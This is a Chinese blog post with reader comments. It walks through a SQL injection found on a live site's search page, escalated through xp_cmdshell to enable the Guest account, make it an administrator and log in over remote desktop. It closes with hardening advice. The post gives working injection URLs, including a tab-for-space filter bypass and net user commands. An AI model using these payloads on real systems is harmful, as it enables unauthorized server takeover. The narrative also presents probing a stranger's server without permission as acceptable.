此漏洞已帮其修复,并知会当事人
SQL 注入 漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。
无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。
发现
访问某站点的搜索页面,发现输入单引号「'」就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。
发现访问
http://foo/rss.aspx?keyword=lucky
以及
http://foo/rss.aspx?keyword=lucky'));--
都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。
分析
根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句
http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--
发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身
扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。
此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求
http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--
并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。
提权
解禁 Guest 用户
http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--
相当于服务器执行
net user guest /active:yes
再将 Guest 加入到管理员组
http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--
相当于服务器执行
net localgroup administrators guest /add
上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名「guest」密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。
重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。
后记
正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议
- 代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况
- 错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣
- 不要以管理员的身份运行服务器进程
- 某些情况下, net 命令 对于攻击者而言就是「微软牌」的木马
- 严格控制远程登录访问者的来源
- 如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统
-- EOF --
沙发
崇拜明爷~~~
允许空密码登入真危险...
LZ搞注入就跟注射疫苗似的
注入就像爆菊
同意楼上的话,标题改成“典型的SQL爆菊过程”会更有吸引力。
看到了好多熟悉的名字啊!
那。。。那你?!
爆屁菊,估计网站的程序员只会抽插数据库,
不错哦,哈工大
不好意思,上面那个找错了
我想找“哈哈”的
原来你是这么干的。。。
万一guest密码不为空,
net user guest xxx
不就可以设置guest 密码么?
文章非常精彩,而你们的对话是更加精彩!!佩服佩服。。。
你这个只是基于SA权限
程序写的不好,没有过滤,也没传参,是直接拼的sql语句。
呃,人家是asp.net的站,怎么能不用Windows。。。囧
还是一句话,网站的安全和其价值成正比。
小破站有几个漏洞很正常,有何必纠结呢
还去单独拎出来讨论,未免显得矫情
@bigapple 兄弟言重啦,小站不代表可以不安全,而大站也未必就是安全。只是觉得这个案例比较得典型,所以拿出来分享下而已 :^)
主机3389 都开着纯属有病。。
还有就是 .net 是微软的东西 你说去LINUX 上运行
如果某台服务器被我拿下了,那一定是你告诉的方法~~